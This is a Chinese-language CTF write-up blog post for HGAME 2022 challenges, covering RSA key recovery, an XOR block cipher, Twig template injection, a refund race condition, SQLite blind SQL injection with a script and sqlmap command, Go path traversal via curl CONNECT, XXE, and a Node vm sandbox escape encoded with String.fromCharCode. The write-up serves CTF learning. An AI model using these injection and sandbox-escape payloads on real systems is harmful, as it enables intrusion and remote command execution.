tWen+aX6HZXAluZZrOXBc1dq795CS9jSjn/ESSfucY2XX1FdPBlaEpTt2QXW1l0c
ZtDZq9hylZa/zwdynj+DQq1iz/Tn15+f0iEV1xIIOUemq3gec5N/YXHoLqzv208D
aIXOH0fPWF1xho9D0ji4XwKCAgAS80JghvxDHD8c9vFPSKymBJ28qaUmYvDWWxUG
gMpjfaV3H65MmMFQMAFmTGYbNlUSBpXs8nLc20lTyoFF67Cb6IUxpZiooKg6UaEn
6z1w5ZgMINeUMNz0SFlBxO3DyiSoTyQvAu4QGtQay69VJPH5fgk/A3IrnavkX8/V
w03OyOBdwcYXqvE/QHmTzdLBywN7updQFsN06IUJxIuGS+iI9PHMkQ8TzwYnRzbI
38TcA1ulPzWBYxmFqf+nell4W/O9HKzTjChULhpX2BRztLIk5jcyNr0v76flroGu
J+FUkD1dbuljRR5MHOYKi7V22grnxTr97W7IsSO1x+UeLGcOcKiDweh/su1THCX1
h3sxB8pffkJ1b6hNPCRD5Xzdtd8NpddzejKvP3Zz5kWnrjCv/t5nrMKbo1qy9T4/
vBl1naLBDCBD2D6/4peeJ0NDZICGwQN2xaEuGZHnsNSMDWTENIqh8jA11/CevOCy
fC4dhgwfNbCg6puxdT/cz3LVLMvkPtKoPra1eOnCADWl7xVdVW9ZoWvXJUPYVb7G
U1zi8xC41aUNRHyxqGzKXE68sZRKUb+jn1rIgzXE1CX+tX/GuzoqeaixXQyUsr9c
zerj6DiU5mBgAst5wVebvt1Izy36cLtgVe0zTgJp7pkPr+oQ8aJRw1J2/8s8Q91I
kjfB7w==
-----END PUBLIC KEY-----

再用公钥求私钥

image-20220204172751433

得到私钥

-----BEGIN RSA PRIVATE KEY-----
MIIHOgIBAAKCAgB8YNfjXEOhimdPq0kh+WM0IfRLCvq/XAePL0PkAM55+/nlEzPv
ZxW9PHi64GAYcMXPUVIxWvhbkXrVJkxt2+GzB13g1yCAebp0DeN9RbSPvV08IWsZ
nzHG8/tV9UEByd76xOEO1MTanUBdrewtp0NWtkHvMKwmuKFVOWKypHT8JGnwZw5F
OGV9ABTJ4i2vA8WPcf36M2HRRIlUO6IXIZYcBMoORsCwF4XJ+6xyZNDIXKdt2hYk
m6M6ywCvRKj1Wj6zjls1eNt5mO8OOShMvs/MXamEESd8Wv6qG4Dmld/HmYVoBWqa
1mw7r2g46xf3hzDtcU9FIkypszXLh+9TK/OEfZFqUq0jM97Sl9ltGvEkRfP4QEDA
/MJxNtPk72pXmtx0iXmotX8SRSxvb3nksQXQeWrncKwZ58wY/pVFZxKCzlJO5VUq
dRSymtez1wqQZoQORQdt/iDOj4VB4fuL5VEsz6Svc9izyYaP4JCg67S6UQoTOipU
nLYX+DcR2jkVpwgCLkaC3Qqipkm0prE77OzAtWen+aX6HZXAluZZrOXBc1dq795C
S9jSjn/ESSfucY2XX1FdPBlaEpTt2QXW1l0cZtDZq9hylZa/zwdynj+DQq1iz/Tn
15+f0iEV1xIIOUemq3gec5N/YXHoLqzv208DaIXOH0fPWF1xho9D0ji4XwKCAgAS
80JghvxDHD8c9vFPSKymBJ28qaUmYvDWWxUGgMpjfaV3H65MmMFQMAFmTGYbNlUS
BpXs8nLc20lTyoFF67Cb6IUxpZiooKg6UaEn6z1w5ZgMINeUMNz0SFlBxO3DyiSo
TyQvAu4QGtQay69VJPH5fgk/A3IrnavkX8/Vw03OyOBdwcYXqvE/QHmTzdLBywN7
updQFsN06IUJxIuGS+iI9PHMkQ8TzwYnRzbI38TcA1ulPzWBYxmFqf+nell4W/O9
HKzTjChULhpX2BRztLIk5jcyNr0v76flroGuJ+FUkD1dbuljRR5MHOYKi7V22grn
xTr97W7IsSO1x+UeLGcOcKiDweh/su1THCX1h3sxB8pffkJ1b6hNPCRD5Xzdtd8N
pddzejKvP3Zz5kWnrjCv/t5nrMKbo1qy9T4/vBl1naLBDCBD2D6/4peeJ0NDZICG
wQN2xaEuGZHnsNSMDWTENIqh8jA11/CevOCyfC4dhgwfNbCg6puxdT/cz3LVLMvk
PtKoPra1eOnCADWl7xVdVW9ZoWvXJUPYVb7GU1zi8xC41aUNRHyxqGzKXE68sZRK
Ub+jn1rIgzXE1CX+tX/GuzoqeaixXQyUsr9czerj6DiU5mBgAst5wVebvt1Izy36
cLtgVe0zTgJp7pkPr+oQ8aJRw1J2/8s8Q91IkjfB7wIJALW5aE5wHIlPAoIBAQCo
tra8EGmcotwH/ZDGjC4Z8ogha4CMuHNdkeIBwjStJor8O0NCarLdkQT6NMtSUYBN
5lcKx7upYPmL7ZPVnmcV9le23PFZpVSgILJO5e85BwwdJVhToam3u8uEh47B2enI
FkWTMO18zvYBFrLqB8VgUfsQN4isa5HbQFI9T9MDe0TugTNnLC6kx6aKpVBsUqmk
aUOzN586tD0Ppo6kW570+4GdepUqKyGjnz80d2fwStarw8Ez67IKEhOSDEiAyuoN
duZRC4gZVfhHX/umElWVmtfbtJGHmbCf2+g/3PZy65f5qNqwGHxd3zU5tku2EVT9
h01jhuwEZLuinp3L1t6pAoIBAQC8uh/FzJl8zlzGon3u0V0SSgjI9oWStsp2K6Fl
IDEWTAVMdYQZCOwxObcVwivwz8ovDMmvoA3hKBh+8rzmJeYJ3MyubkCV+FNo/y1X
DzJdemGbAyPUnEeCgOEbJrqHqzk1W0d6oLtr6HuSIswK4yNglsLWM+16S+WQEKi2
E1yuzC+uq279ezOx39FbXGxlLDSyKOb9oJXVuZWnhCyJA27d/cYDlmSQ0JvX3xiD
fG10MYFOSqpDsNS7LLOf+LK8WRH4m6iFQHcX7sgs6HH48ACig+agyRSJCaN/b/PQ
6o99jpkCmYSo2vO8qScAZFbEucrjtOkOtWOBhc9xrSbPuWvHAgkAtbloTnAciU8C
CQC1uWhOcByJTwKCAQAl77/PElSLSo1fNYoMKafuVi48Fjx0iUntMVmcNB7Xe9hV
CAIojVVQu2ux1w/91oMgui8wbN6dbZg/cd0CgLtxfgwhTjX75CxB97oahAkxuP3L
BeqOHx2uy6B6TNfFHR76srqhQxgz9MWW8IUstpNnBV91CtOYyRBQsCuKchS+Asb+
Z3+W08eWjKNN68jPBohKjD15FYy4/W03t2NBtKNb7UoLynBTni/Bjq86ZWNOUG3v
gPuI48t/Px2F4wS51wfzGZDfutBNM2dO+a3DcwNGctqkxFriQuD0tQkYtei6R92f
lUtMgGyxmfNgmbdycrcjDislpPUj9+NkD1ce2f28
-----END RSA PRIVATE KEY-----

再利用私钥求pq

image-20220204172904395

得到pq之后找个rsa脚本带进去就行

image-20220204172948397

Block Cipher

加密脚本

image-20220204173328550

给了三个值

iv = b'Up\x14\x98r\x14%\xb9'

key = b'\r\xe8\xb86\x9c33^'

parts = [b'0\xff\xcd\xc3\x8b\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']

加密的逻辑大致是将flag每八个字符一组,不够的在末尾加上chr(len(该段长度))重复一定次数凑够八个字符,同时构造有八组数据的iv和key变量,并与flag分成的组进行一次异或操作,将异或操作后的内容作为下一次异或操作的iv。同时将异或后的内容放入results列表中

其中返回值的内容都是可迭代类型,所以要利用for循环才能读出里面的内容

image-20220204175512017

image-20220204173726545

八个一组的数字

也就相当于第一组48 = 85^13^ord(flag的第一个字符)即ord('h')

image-20220204175945549

经过测试这个也能逆推

image-20220204180050478

所以只要根据加密脚本将flag变为给的parts里的内容就能分段解密

image-20220204180213786

贴一下其他师傅写的解码脚本(我是菜b

import operator
import gmpy2
from Crypto.Util.number import long_to_bytes
import random
from functools import reduce

iv = b'Up\x14\x98r\x14%\xb9'
key = b'\r\xe8\xb86\x9c33^'
parts = [b'0\xff\xcd\xc3\x8b\\T\x8b', b'RT\x1e\x89t&\x17\xbd', b'\x1a\xee\x8d\xd6\x9b>w\x8c', b'9CT\xb3^pF\xd0']
results = []

def xor(a, b):
    assert len(a) == len(b)
    return bytes(map(operator.xor, a, b))

def decrypt():
    for index, part in enumerate(parts):
        results.append(reduce(xor, [part, iv if index == 0 else parts[index - 1], key]))

decrypt()
print(results)

WEB

SecurityCenter

看一下这个路径

image-20220204190318143

image-20220204190356431

再结合

image-20220204190428652

猜测是twig的模板注入

参考链接

https://whoamianony.top/2021/08/22/Web%E5%AE%89%E5%85%A8/Twig%20%E6%A8%A1%E6%9D%BF%E6%B3%A8%E5%85%A5%E4%BB%8E%E9%9B%B6%E5%88%B0%E4%B8%80/

image-20220204190615656

image-20220204190633423

image-20220204190655380

cat应该是被过滤了,可以用tac看一下

image-20220204190732690

把含有hgame内容的字符串也过滤了,尝试逆向输出

image-20220204190810214

成功,拿到flag

image-20220204190827635

Vidar shop demo

看这个描述就像支付逻辑漏洞

先随便注册个账户进入

image-20220204180704485

看看商店,flag要一万,我们只有九千九百九十九

先买个徽章试试

发现购买的徽章如果删除,购买花费的钱也会返还,所以试试再开一个网页,同时删除徽章

image-20220204180850691

成功大于一万了,买个flag

image-20220204180917539

LoginMe*

sql注入,给的hint很明显就是sql语句

image-20220212223934416

但是因为平常的题都是mysql的,这个是 sqlite,所以只试出了注入点,其他的就没注

sqlite因为其比较简易每个db文件就是一个数据库,所以不存在information_schema数据库,但存在类似作用的表sqlite_master。

该表记录了该库下的所有表,索引,表的创建sql等所以我们可以通过此读取数据,常见语句如下。

1 读取表名:select group_concat(name) from sqlite_master where type='table'
2 读取字段:select group_concat(sql) from sqlite_master where type='table' and name='表名'

看看表名

image-20220212232736925

image-20220212232755661

证明确实能注,可以写个脚本

image-20220212233244464

反正最后表名是uuussseeerrrsss

后边的脚本(手注太慢了

import requests

url = "http://d51f66203d.login.summ3r.top:60067/login"
date = {"username":"test') and substr((select sql from sqlite_master where type='table' and name='uuussseeerrrsss'),{},1)='{}'--+","password":"test"}
flag = ''
for i in range(1,200):
    for j in range(31,127):
        #列名
        #date["username"] = "test') and substr((select sql from sqlite_master where type='table' and name='uuussseeerrrsss'),{},1)='{}'--+".format(i,chr(j))
        #读数据
        date["username"] = "test') and substr((select group_concat(password) from uuussseeerrrsss),{},1)='{}'--+".format(i,chr(j))
        r = requests.post(url,json=date);
        response = r.text
        if 'success' in response:
            flag +=chr(j)
            print(flag)
            break
print(flag)

拿到密码之后登录就行

image-20220213003003539

也可以用sqlmap直接跑

bp抓包之后保存到本地

image-20220213004158890

然后上sqlmap

python sqlmap.py -r "D:\Desktop\post.txt" --dump --batch --threads 10 --no-cast --flush-session

image-20220213004815203

第四周wp

WEB

FileSystem

又是go语言的题

很明显flag在there may be a flag里但是没法访问到

image-20220214215644843

因为根据main.go里的内容可以看到这个路由被出题人加上了web服务,从而使得我们没法通过直接访问/there may be a flag来获取文件。而是得到/there may be a flag路由的回显。

image-20220214215629146

谷歌找一下ctf里出现过的go语言漏洞

https://bycsec.top/2021/02/07/golang%E7%9A%84%E4%B8%80%E4%BA%9B%E5%AE%89%E5%85%A8%E9%97%AE%E9%A2%98/

image-20220214215905860

利用相对路径访问

对于 CONNECT 请求,路径和主机保持不变。

和这道题的考点一模一样,可以仿照其payload仿写一个

curl --path-as-is -X CONNECT http://6a87cb1c66.filesystem.hgame.homeboyc.cn/main.go/../there_may_be_a_flag

image-20220214215820089

Comment*

考点:xxe注入

源码:

<?php
require './init.php';
require_once './db.php';

libxml_disable_entity_loader(false);

function waf($str): bool {
    if (preg_match('/file|glob|http|dict|gopher|php|ftp|ssh|phar/i', $str)) {
        return true;
    }
    return false;
}

function save() {
    if ($_SERVER['REQUEST_METHOD'] != 'POST') {
        echo json_encode(['error' => 'wrong method']);
        return;
    }
    $data = file_get_contents('php://input');
    if (waf($data)) {
        http_response_code(403);
        echo json_encode(['error' => 'Hacker!']);
        return;
    }

    $id = $_SESSION['unique_id'];
    $db = getDB();

    $stmt = $db->prepare('INSERT INTO comments (sender,content) VALUES (?,?)');
    $stmt->execute([$id, $data]);
    if ($stmt->rowCount() != 0) {
        echo json_encode(['msg' => 'success']);
    } else {
        http_response_code(500);
        echo json_encode(['error' => 'failed to create records']);
    }
}

function parseXML($str) {
    $dom = new DOMDocument();
    try {
        $dom->loadXML($str, LIBXML_NOENT | LIBXML_DTDLOAD);
    } catch (Exception $e) {
        http_response_code(400);
        echo json_encode(['error' => 'invalid xml data']);
        die();
    }
    $attrs = simplexml_import_dom($dom);
    if (!isset($attrs->content)) {
        http_response_code(400);
        echo json_encode(['error' => 'content is empty']);
        die();
    }
    if (waf($attrs->sender) || waf($attrs->content)) {
        http_response_code(403);
        echo json_encode(['error' => 'Hacker!']);
        die();
    }
    if ($attrs->sender == 'admin' && !preg_match('/admin/i', $str)) {
        $flag = 'hgame{xxxxx}';
        $attrs->content = $flag;
    }
    return $attrs;
}

function get() {
    $id = $_SESSION['unique_id'];

    $db = getDB();
    $stmt = $db->prepare('SELECT * FROM comments WHERE sender=?');
    $stmt->execute([$id]);
    $data = $stmt->fetchAll();
    $result = [];
    foreach ($data as $key => $val) {
        array_push($result, parseXML($val['content']));
    }

    echo json_encode($result);

}

switch ($_GET['action']) {
    case 'get':
        get();
        break;
    case 'add':
        save();
        break;
    case 'info':
        echo json_encode(['unique_id' => $_SESSION['unique_id']]);
        break;
    default:
        http_response_code(400);
        echo json_encode(['error' => 'no such action']);
        break;
}

先抓个包看看

image-20220220230401250

挺明显的xxe

然后就要满足获取flag的条件

image-20220220230438960

要求sender里有admin但是传入的内容不许有admin

可以尝试data协议

(比赛的时候不知道怎么想的一直想绕过waf读文件。。。忘了data协议

image-20220220234723611

image-20220220232831204

Markdown Online*

看一下源码

image-20220221141602097

toUpperCase()是将小写转换为大写,但是这样也绝不可能绕过54gk的这个if判断

利用了try catch但是catch并没有return语句,也就导致try中的代码抛出错误后继续往下执行

所以就要想办法让req.body.password = req.body.password.toUpperCase()报错

对 req.body.password.toUpperCase() 正确的解读方式是:获取 req.body.password对象的 toUpperCase属性,然后把这个属性当作函数来调用。如果这个属性不是函数对象就会抛出错误

所以可以用

{"username":"admin","password":["1","1","1","1","1","1","1","1","1","1","1","1","1","1","1","1"]}

{"username":"admin","password":{"length": 16}}

都可以满足第一个if的length==16的判断并让toUpperCase()报错

image-20220221143354198

然后我们访问/md

在这部分

image-20220221143602581

利用markdownit库,并对html标签支持

在提交的地方

image-20220221144119817

在 SubmitController 里,markdown-it 解析出来的 html 代码会被 zombie.js 加载,zobmie.js 在遇到 JavaScript 代码的时候会将其交给 vm 虚拟机执行

而vm模块是存在逃逸的, JavaScript 对象的继承是靠原型链实现的,借助原型链可访问到 vm 沙箱以外的内容,实现 RCE

百度找个vm逃逸的payload

this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('calc')

然后还要绕过waf

image-20220221144435975

利用 JavaScript 的语言特性, obj.contructor 可以变为 obj["contr"+"uctor"] 的形式, + 也被 ban 了,可以用concat拼接字符串的形式: obj["constru".concat("ctor")] this 和 process 可以用 eval("th"+"is") 的形式绕过。

这里eval和String.fromCharCode都没被过滤,可以用这个绕过

a = "document.write(this.__proto__.constructor.constructor('return process')().mainModule.require('child_process').execSync('ls /'))"
b = []
for i in range(len(a)):
    b.append(ord(a[i]))
print(b)
<script>eval(String.fromCharCode(100, 111, 99, 117, 109, 101, 110, 116, 46, 119, 114, 105, 116, 101, 40, 116, 104, 105, 115, 46, 95, 95, 112, 114, 111, 116, 111, 95, 95, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 46, 99, 111, 110, 115, 116, 114, 117, 99, 116, 111, 114, 40, 39, 114, 101, 116, 117, 114, 110, 32, 112, 114, 111, 99, 101, 115, 115, 39, 41, 40, 41, 46, 109, 97, 105, 110, 77, 111, 100, 117, 108, 101, 46, 114, 101, 113, 117, 105, 114, 101, 40, 39, 99, 104, 105, 108, 100, 95, 112, 114, 111, 99, 101, 115, 115, 39, 41, 46, 101, 120, 101, 99, 83, 121, 110, 99, 40, 39, 108, 115, 32, 47, 39, 41, 41))</script>

image-20220221150403606

然后cat /flag

image-20220221150727819


文章作者: Ethe
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Ethe !
评论
  目录